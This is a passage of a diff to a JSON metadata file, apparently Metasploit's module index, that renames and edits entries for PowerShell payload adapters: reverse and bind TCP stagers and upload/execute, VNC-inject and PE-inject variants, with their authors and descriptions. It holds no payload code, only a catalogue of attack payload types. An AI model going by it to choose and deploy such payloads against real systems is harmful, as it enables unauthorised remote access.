[ ], @@ -183434,18 +192936,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4_dns", + "ref_name": "cmd/windows/powershell/shell_reverse_tcp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid": { - "name": "Powershell Exec, Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid", + "payload_cmd/windows/powershell/speak_pwned": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/speak_pwned", "aliases": [ ], @@ -183454,12 +192956,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "hdm ", - "OJ Reeves" + "Berend-Jan \"SkyLined\" Wever " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", + "description": "Execute an x86 payload from a command via PowerShell", "references": [ ], @@ -183472,7 +192971,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid", + "ref_name": "cmd/windows/powershell/speak_pwned", "check": false, "post_auth": false, "default_credential": false, @@ -183481,9 +192980,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupmeterpreter/bind_hidden_ipknock_tcp": { - "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_hidden_ipknock_tcp", + "payload_cmd/windows/powershell/upexec/bind_hidden_ipknock_tcp": { + "name": "Powershell Exec, Windows Upload/Execute, Hidden Bind Ipknock TCP Stager", + "fullname": "payload/cmd/windows/powershell/upexec/bind_hidden_ipknock_tcp", "aliases": [ ], @@ -183492,13 +192991,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", - "hdm ", + "vlad902 ", "sf ", + "hdm ", + "skape ", "Borja Merino " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", "references": [ ], @@ -183511,7 +193010,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_hidden_ipknock_tcp", + "ref_name": "cmd/windows/powershell/upexec/bind_hidden_ipknock_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -183520,9 +193019,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupmeterpreter/bind_hidden_tcp": { - "name": "Powershell Exec, Hidden Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_hidden_tcp", + "payload_cmd/windows/powershell/upexec/bind_hidden_tcp": { + "name": "Powershell Exec, Windows Upload/Execute, Hidden Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/upexec/bind_hidden_tcp", "aliases": [ ], @@ -183531,13 +193030,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", - "hdm ", + "vlad902 ", "sf ", + "hdm ", + "skape ", "Borja Merino " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", "references": [ ], @@ -183550,7 +193049,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_hidden_tcp", + "ref_name": "cmd/windows/powershell/upexec/bind_hidden_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -183559,9 +193058,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp": { - "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp", + "payload_cmd/windows/powershell/upexec/bind_ipv6_tcp": { + "name": "Powershell Exec, Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/upexec/bind_ipv6_tcp", "aliases": [ ], @@ -183570,12 +193069,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", + "vlad902 ", + "sf ", "hdm ", - "sf " + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for an IPv6 connection (Windows x86)", "references": [ ], @@ -183588,7 +193087,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp", + "ref_name": "cmd/windows/powershell/upexec/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -183597,9 +193096,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp_uuid", + "payload_cmd/windows/powershell/upexec/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/upexec/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -183608,13 +193107,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", - "hdm ", + "vlad902 ", "sf ", + "hdm ", + "skape ", "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x86)", "references": [ ], @@ -183627,7 +193126,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/powershell/upexec/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -183636,9 +193135,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupmeterpreter/bind_named_pipe": { - "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_named_pipe", + "payload_cmd/windows/powershell/upexec/bind_named_pipe": { + "name": "Powershell Exec, Windows Upload/Execute, Windows x86 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/upexec/bind_named_pipe", "aliases": [ ], @@ -183647,11 +193146,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", + "vlad902 ", + "sf ", "UserExistsError" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a pipe connection (Windows x86)", "references": [ ], @@ -183664,7 +193163,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_named_pipe", + "ref_name": "cmd/windows/powershell/upexec/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -183673,9 +193172,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupmeterpreter/bind_nonx_tcp": { - "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_nonx_tcp", + "payload_cmd/windows/powershell/upexec/bind_nonx_tcp": { + "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/upexec/bind_nonx_tcp", "aliases": [ ], @@ -183684,11 +193183,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", - "vlad902 " + "vlad902 ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection (No NX)", "references": [ ], @@ -183701,7 +193199,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_nonx_tcp", + "ref_name": "cmd/windows/powershell/upexec/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -183710,9 +193208,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupmeterpreter/bind_tcp": { - "name": "Powershell Exec, Bind TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_tcp", + "payload_cmd/windows/powershell/upexec/bind_tcp": { + "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/upexec/bind_tcp", "aliases": [ ], @@ -183721,12 +193219,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", + "vlad902 ", + "sf ", "hdm ", - "sf " + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection (Windows x86)", "references": [ ], @@ -183739,7 +193237,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_tcp", + "ref_name": "cmd/windows/powershell/upexec/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -183748,9 +193246,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupmeterpreter/bind_tcp_rc4": { - "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_tcp_rc4", + "payload_cmd/windows/powershell/upexec/bind_tcp_rc4": { + "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/upexec/bind_tcp_rc4", "aliases": [ ], @@ -183759,14 +193257,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", - "hdm ", + "vlad902 ", "sf ", + "hdm ", + "skape ", "mihi", "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection", "references": [ ], @@ -183779,7 +193277,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_tcp_rc4", + "ref_name": "cmd/windows/powershell/upexec/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, @@ -183788,9 +193286,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupmeterpreter/bind_tcp_uuid": { - "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_tcp_uuid", + "payload_cmd/windows/powershell/upexec/bind_tcp_uuid": { + "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/upexec/bind_tcp_uuid", "aliases": [ ], @@ -183799,12 +193297,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", + "vlad902 ", + "sf ", "hdm ", "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection with UUID Support (Windows x86)", "references": [ ], @@ -183817,7 +193315,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_tcp_uuid", + "ref_name": "cmd/windows/powershell/upexec/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -183826,9 +193324,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupmeterpreter/find_tag": { - "name": "Powershell Exec, Find Tag Ordinal Stager", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/find_tag", + "payload_cmd/windows/powershell/upexec/find_tag": { + "name": "Powershell Exec, Windows Upload/Execute, Find Tag Ordinal Stager", + "fullname": "payload/cmd/windows/powershell/upexec/find_tag", "aliases": [ ], @@ -183837,10 +193335,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt " + "vlad902 ", + "sf ", + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nUse an established connection", "references": [ ], @@ -183853,7 +193352,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/find_tag", + "ref_name": "cmd/windows/powershell/upexec/find_tag", "check": false, "post_auth": false, "default_credential": false, @@ -183862,9 +193361,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupmeterpreter/reverse_ipv6_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (IPv6)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_ipv6_tcp", + "payload_cmd/windows/powershell/upexec/reverse_ipv6_tcp": { + "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/windows/powershell/upexec/reverse_ipv6_tcp", "aliases": [ ], @@ -183873,12 +193372,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", + "vlad902 ", + "sf ", "hdm ", - "sf " + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker over IPv6", "references": [ ], @@ -183891,7 +193390,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_ipv6_tcp", + "ref_name": "cmd/windows/powershell/upexec/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -183900,9 +193399,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupmeterpreter/reverse_nonx_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_nonx_tcp", + "payload_cmd/windows/powershell/upexec/reverse_nonx_tcp": { + "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/upexec/reverse_nonx_tcp", "aliases": [ ], @@ -183911,11 +193410,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", - "vlad902 " + "vlad902 ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker (No NX)", "references": [ ], @@ -183928,7 +193426,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_nonx_tcp", + "ref_name": "cmd/windows/powershell/upexec/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -183937,9 +193435,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupmeterpreter/reverse_ord_tcp": { - "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_ord_tcp", + "payload_cmd/windows/powershell/upexec/reverse_ord_tcp": { + "name": "Powershell Exec, Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/upexec/reverse_ord_tcp", "aliases": [ ], @@ -183948,11 +193446,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", + "vlad902 ", + "sf ", "spoonm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", "references": [ ], @@ -183965,7 +193463,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_ord_tcp", + "ref_name": "cmd/windows/powershell/upexec/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -183974,9 +193472,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp": { - "name": "Powershell Exec, Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp", + "payload_cmd/windows/powershell/upexec/reverse_tcp": { + "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp", "aliases": [ ], @@ -183985,12 +193483,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", + "vlad902 ", + "sf ", "hdm ", - "sf " + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", "references": [ ], @@ -184003,7 +193501,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp", + "ref_name": "cmd/windows/powershell/upexec/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -184012,9 +193510,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_allports": { - "name": "Powershell Exec, Reverse All-Port TCP Stager", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_allports", + "payload_cmd/windows/powershell/upexec/reverse_tcp_allports": { + "name": "Powershell Exec, Windows Upload/Execute, Reverse All-Port TCP Stager", + "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_allports", "aliases": [ ], @@ -184023,12 +193521,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", + "vlad902 ", + "sf ", "hdm ", - "sf " + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", "references": [ ], @@ -184041,7 +193539,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp_allports", + "ref_name": "cmd/windows/powershell/upexec/reverse_tcp_allports", "check": false, "post_auth": false, "default_credential": false, @@ -184050,9 +193548,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_dns": { - "name": "Powershell Exec, Reverse TCP Stager (DNS)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_dns", + "payload_cmd/windows/powershell/upexec/reverse_tcp_dns": { + "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (DNS)", + "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_dns", "aliases": [ ], @@ -184061,13 +193559,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", - "hdm ", + "vlad902 ", "sf ", + "hdm ", + "skape ", "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", "references": [ ], @@ -184080,7 +193578,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp_dns", + "ref_name": "cmd/windows/powershell/upexec/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, @@ -184089,9 +193587,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4", + "payload_cmd/windows/powershell/upexec/reverse_tcp_rc4": { + "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_rc4", "aliases": [ ], @@ -184100,14 +193598,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", - "hdm ", + "vlad902 ", "sf ", + "hdm ", + "skape ", "mihi", "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", "references": [ ], @@ -184120,7 +193618,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4", + "ref_name": "cmd/windows/powershell/upexec/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, @@ -184129,9 +193627,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4_dns": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4_dns", + "payload_cmd/windows/powershell/upexec/reverse_tcp_rc4_dns": { + "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", + "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_rc4_dns", "aliases": [ ], @@ -184140,14 +193638,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", - "hdm ", + "vlad902 ", "sf ", + "hdm ", + "skape ", "mihi", "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", "references": [ ], @@ -184160,7 +193658,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4_dns", + "ref_name": "cmd/windows/powershell/upexec/reverse_tcp_rc4_dns", "check": false, "post_auth": true, "default_credential": false, @@ -184169,9 +193667,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_uuid": { - "name": "Powershell Exec, Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_uuid", + "payload_cmd/windows/powershell/upexec/reverse_tcp_uuid": { + "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_uuid", "aliases": [ ], @@ -184180,12 +193678,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", + "vlad902 ", + "sf ", "hdm ", "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker with UUID Support", "references": [ ], @@ -184198,7 +193696,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp_uuid", + "ref_name": "cmd/windows/powershell/upexec/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -184207,9 +193705,46 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/peinject/bind_hidden_ipknock_tcp": { + "payload_cmd/windows/powershell/upexec/reverse_udp": { + "name": "Powershell Exec, Windows Upload/Execute, Reverse UDP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/upexec/reverse_udp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "vlad902 ", + "sf ", + "RageLtMan " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker with UUID Support", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/upexec/reverse_udp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/vncinject/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", - "fullname": "payload/cmd/windows/powershell/peinject/bind_hidden_ipknock_tcp", + "fullname": "payload/cmd/windows/powershell/vncinject/bind_hidden_ipknock_tcp", "aliases": [ ], @@ -184218,15 +193753,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", "skape ", - "sf ", "Borja Merino " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184237,7 +193772,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/bind_hidden_ipknock_tcp", + "ref_name": "cmd/windows/powershell/vncinject/bind_hidden_ipknock_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -184246,9 +193781,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/peinject/bind_hidden_tcp": { + "payload_cmd/windows/powershell/vncinject/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/peinject/bind_hidden_tcp", + "fullname": "payload/cmd/windows/powershell/vncinject/bind_hidden_tcp", "aliases": [ ], @@ -184257,15 +193792,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", "skape ", - "sf ", "Borja Merino " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184276,7 +193811,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/bind_hidden_tcp", + "ref_name": 